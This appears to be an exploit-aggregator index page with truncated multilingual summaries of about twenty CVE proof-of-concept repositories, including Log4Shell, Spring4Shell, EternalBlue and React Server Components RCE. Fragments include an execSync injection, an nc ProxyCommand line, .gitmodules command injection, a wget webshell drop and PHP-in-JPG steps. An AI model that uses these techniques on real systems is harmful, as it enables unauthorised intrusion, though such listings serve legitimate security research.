POC-CVE-2025-55182

CVE-2025-55182 Scanner Avancé Un utilitaire d'exploitation complet pour CVE-2025-55182 — Exécution de code à distance via les composants serveur React dans Next.js. Le scanner crée automatiquement la charge utile multipart et abuse de process.mainModule.require'childprocess'.execSync pour exécute...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Tous les scripts d'exploitation doivent être utilisés exclusivement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de...

proofpoint-CVE-2023-0090

Описание Исследователь безопасности: ly1g3, ly1g3attuta.io GPG отпечаток: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Обзор: Удаленное выполнение кода - RCE без аутентификации CVE: CVE-2023-0090 Хронология: Обнаружено - ly1g3 Сообщено - ly1g3 Исправлено...

CVE-2023-51385_test

Validation de CVE-2023-51385 Tout d'abord, ajoutez ce qui suit dans /.ssh/config root@kitploit: Host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Il existe une injection de commande dans la déclaration du fichier .gitmodules root@kitploit: url = ssh://echo helloworld...

internet-of-vulnerable-things

Internet des objets vulnérables Les résultats de mon petit mémoire de recherche sur le thème de l'Internet des objets vulnérables. Résumé Ce document fournit une démonstration pratique de l'insécurité de l'Internet des objets en piratant un appareil IoT typique. Plusieurs vulnérabilités ont été...

log4shell-test-exploit

Тестовый эксплойт CVE-2021-44228 log4shell Подготовка root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git...

CVE-2026-52806

Gogs RCE — Injection d'argument dans git rebase CWE-88 Exécution de code à distance authentifiée contre Gogs est interprétée par Git comme le drapeau --exec plutôt qu'un argument positionnel, ce qui entraîne l'exécution de sh -c après chaque commit rejoué pendant le rebase. Comment l'exploit...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

MAL-012

MAL-012: البرمجة النصية عبر المواقع المنعكسة في وحدة التحكم الإدارية تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في خادم Payara تم العثور على هجوم برمجة نصية عبر المواقع XSS منعكس في وحدة التحكم الإدارية في خادم Payara. عبر إقناع مستخدم إداري بفتح الرابط الضار والنقر على زر “Choose File”، يمكن...

pinky

वेब शेल अपलोड करना वेब भेद्यता का शोषण करने के बाद लगभग हमेशा अगला कदम होता है, लेकिन Cloudflare जैसी सेवाएं और अगली पीढ़ी के फायरवॉल HTTP या HTTPS के माध्यम से लक्ष्य पर कमांड चलाने से हमलावरों को रोकने में बहुत अच्छा काम करते हैं। दूसरी ओर, टेक्स्ट सामग्री फ़िल्टरिंग और व्हाइटलिस्टिंग एप्लिकेशन...

cve-2017-0143

CVE-2017-0143 - EternalBlue 취약점 공격 📌 설명 이 프로젝트는 교육 및 침투 테스트 목적으로 통제된 환경에서 CVE-2017-0143 취약점EternalBlue을 악용하는 방법을 보여줍니다. 공격은 Metasploit Framework를 사용하여 Windows 7 시스템에서 수행되었습니다. 🔍 CVE-2017-0143 정보 CVE-2017-0143은 Windows 시스템의 SMBv1 프로토콜에 존재하는 심각한 취약점입니다. 특수하게 조작된 패킷을 통해 원격 공격자가 임의 코드를 실행할 수 있으며, 이는 ...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE & load of external ressources found by @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Just an example to drop a webshell in current directory. root@kitploit: python3 CVE-2023-2255.py --cmd 'wget...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Generador de artefactos de detección para WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Consulta nuestra entrada de blog para obtener detalles técnicos Detección en acción root@kitploit: python...

CVE-2026-7393-RCE

Pizzafy Ecommerce System 1.0: la carga de archivos sin restricciones en savemenu conduce a la ejecución remota de código Detalles...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ Jolokia: Ejecución Remota de Código RCE CVE-2026-34197 es una vulnerabilidad de ejecución remota de código RCE de alta severidad que afecta a Apache ActiveMQ Classic. El problema se encuentra dentro del puente Jolokia JMX-HTTP, que expone operaciones de gestión a...

EXPLOIT-CVE-2026-40901

DataEase — RCE sin autenticación mediante una cadena de 4 vulnerabilidades CVE-2026-40901 y otras Bypass de autenticación → bypass de la lista negra de JDBC lectura arbitraria de archivos → inyección SQL → Deserialización de Java en Quartz → ejecución remota de código comoroot. Laboratorio local...

CVE-2025-32432-POC

PoC de objetivo único para Craft CMS CVE-2025-32432 Solo pruebas autorizadas. Este repositorio está pensado para entornos de laboratorio controlados, plataformas CTF como Hack The Box, validación interna y verificación defensiva. No lo ejecutes contra sistemas que no te pertenezcan o para los que...

Inject-PHP-to-JPG-Using-Jhead

Inyectar-PHP-en-JPG-usando-Jhead $ pkg install vim o apt-get install vim $ pkg install jhead o apt-get install jhead $ jhead -h para ayuda $ jhead -purejpg tusarchivos.jpg $ jhead -ce tusarchivos.jpg Pulsa ESC y escribe :x para guardar $ jhead tusarchivos.jpg Ejemplo:...

CVE-2026-10795-Lab

CVE Lab: CVE-2026-10795 - Omisión de Autenticación RPC de UpdraftCentral en UpdraftPlus Encadenada a la Instalación de Plugins Resumen Ejecutivo Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-10795, una vulnerabilidad de omisión de autenticación no...

CVE-2025-55182

CVE-2025-55182 — React2Shell: Advanced Exploit & Master's Thesis Research -brightred Deserialization of Untrusted Data + Prototype Pollution in React Server Components Unauthenticated Remote Code Execution via Next.js Server Actions Affected: React 19.0.0 - 19.2.0 · Patch: React 19.0.1 / 19.1.2 /...